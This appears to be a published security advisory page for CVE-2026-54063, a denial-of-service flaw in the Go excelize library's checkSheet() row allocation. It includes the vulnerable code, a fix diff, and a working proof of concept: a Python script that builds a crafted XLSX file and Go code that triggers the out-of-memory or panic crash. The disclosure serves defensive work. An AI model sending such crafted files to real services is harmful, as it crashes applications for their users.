high

CVE-2026-54063

Go · github.com/xuri/excelize/v2

Summary

Excelize: Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)

Severity
high
CVSS
7.5
EPSS
0.6% (p47)
CWE
CWE-770
Also known as
GHSA-h69g-9hx6-f3v4
Published
2026-07-10
Updated
2026-07-10

Advisory details

Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)

Summary

The checkSheet() function in github.com/xuri/excelize/v2 uses an attacker-controlled <row r="N"> XML attribute value directly as the length argument to make([]xlsxRow, row) without validating it against the Excel row limit (TotalRows = 1,048,576). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when r=2147483647 forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when r=-1. Any service that opens attacker-supplied XLSX files and calls GetCellValue is affected. No authentication is required.

Details

The vulnerable code path is triggered by calling GetCellValue (or any API that internally invokes workSheetReader) on an XLSX file containing a crafted worksheet row element.

Data flow (source → sink):

  1. excelize.go:186-193OpenReader reads attacker-controlled spreadsheet bytes.
  2. excelize.go:216-223 — ZIP reader is created and passed to ReadZipReader.
  3. lib.go:43-77 — ZIP entries are read into fileList; worksheet XML is stored by part name.
  4. excelize.go:228-229 — XML bytes are stored in f.Pkg.
  5. cell.go:71-79 — Public GetCellValue enters the worksheet value-read path.
  6. cell.go:1492-1494getCellStringFunc calls workSheetReader.
  7. excelize.go:313-324 — Worksheet XML is decoded into xlsxWorksheet.
  8. xmlWorksheet.go:302-312<row r="..."> is deserialized into xlsxRow.R int with no validation (source).
  9. excelize.go:357-377checkSheet() accumulates the maximum r value; sink: make([]xlsxRow, row) allocates a slice of that size before any bounds check.

Vulnerable code (excelize.go:373-377):

if r.R != 0 && r.R > row {
    row = r.R
}
sheetData := xlsxSheetData{Row: make([]xlsxRow, row)}  // unbounded allocation

The constant TotalRows = 1048576 is defined in templates.go:190 but is never applied before the make() call in checkSheet(), leaving the allocation fully attacker-controlled.

Variant A (r = 2147483647): make([]xlsxRow, 2147483647) attempts to allocate approximately 16 GB of memory. The Go runtime terminates the process with fatal error: runtime: out of memory.

Variant B (r = -1): The first loop in checkSheet() leaves row = 0 because the condition r.R != 0 is false for r.R = -1. The second loop then executes sheetData.Row[r.R-1], which evaluates to sheetData.Row[-2], triggering runtime error: index out of range [-2] at excelize.go:381.

Dynamic reproduction confirmed both variants inside a memory-limited Docker container (256 MB). The full panic stack trace for Variant B is:

panic: runtime error: index out of range [-2]

goroutine 1 [running]:
github.com/xuri/excelize/v2.(*xlsxWorksheet).checkSheet(...)
        /excelize/excelize.go:381
github.com/xuri/excelize/v2.(*File).workSheetReader(...)
        /excelize/excelize.go:329
github.com/xuri/excelize/v2.(*File).getCellStringFunc(...)
        /excelize/cell.go:1494
github.com/xuri/excelize/v2.(*File).GetCellValue(...)
        /excelize/cell.go:72
main.main.func1(...)
        /excelize/cmd/poc/main.go:44
main.main()
        /excelize/cmd/poc/main.go:52

Recommended remediation (excelize.go):

-func (ws *xlsxWorksheet) checkSheet() {
+func (ws *xlsxWorksheet) checkSheet() error {
     ...
         for i := 0; i < len(ws.SheetData.Row); i++ {
             r := ws.SheetData.Row[i]
+            if r.R < 0 {
+                return newInvalidRowNumberError(r.R)
+            }
+            if r.R > TotalRows {
+                return ErrMaxRows
+            }
     ...
     ws.SheetData = *sheetData
+    return nil
 }

PoC

Step 1: Generate the malicious XLSX

import zipfile

# Variant A: OOM   → row = "2147483647"
# Variant B: Panic → row = "-1"
row = "-1"

with zipfile.ZipFile("malicious.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
    z.writestr("[Content_Types].xml", '''<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
</Types>''')
    z.writestr("_rels/.rels", '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>''')
    z.writestr("xl/workbook.xml", '''<?xml version="1.0" encoding="UTF-8"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
          xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>
</workbook>''')
    z.writestr("xl/_rels/workbook.xml.rels", '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
</Relationships>''')
    z.writestr("xl/worksheets/sheet1.xml", f'''<?xml version="1.0" encoding="UTF-8"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetData><row r="{row}"><c r="A1"><v>1</v></c></row></sheetData>
</worksheet>''')

Step 2: Trigger the vulnerability

package main

import "github.com/xuri/excelize/v2"

func main() {
    f, err := excelize.OpenFile("malicious.xlsx")
    if err != nil { panic(err) }
    defer f.Close()
    _, err = f.GetCellValue("Sheet1", "A1")  // triggers checkSheet() → unbounded make()
    if err != nil { panic(err) }
}

Expected results:

Both variants were confirmed in a Docker container with --memory 256m --memory-swap 256m. The malicious XLSX payload is a few hundred bytes.

Impact

This is a Denial-of-Service vulnerability. An unauthenticated remote attacker can crash or memory-exhaust any Go application that uses github.com/xuri/excelize/v2 to open attacker-supplied XLSX files and subsequently calls any cell-reading API (GetCellValue, GetRows, GetCols, or any function that internally triggers workSheetReader).

Who is impacted:

The attack requires no authentication and no user interaction beyond uploading a malicious file. The payload is a minimal well-formed ZIP of a few hundred bytes, making it trivial to construct and deliver. Repeated or concurrent exploitation can permanently deny service to all users of the affected application.

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001: Unbounded Row Index Allocation in excelize checkSheet()
# CWE-770 — Allocation of Resources Without Limits or Throttling
# Target: github.com/xuri/excelize/v2 @ commit f4a068b
#
# Exploit path:
#   GetCellValue -> getCellStringFunc -> workSheetReader -> checkSheet()
#   In checkSheet() (excelize.go:341-393), the attacker-controlled <row r="N">
#   attribute is used 

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.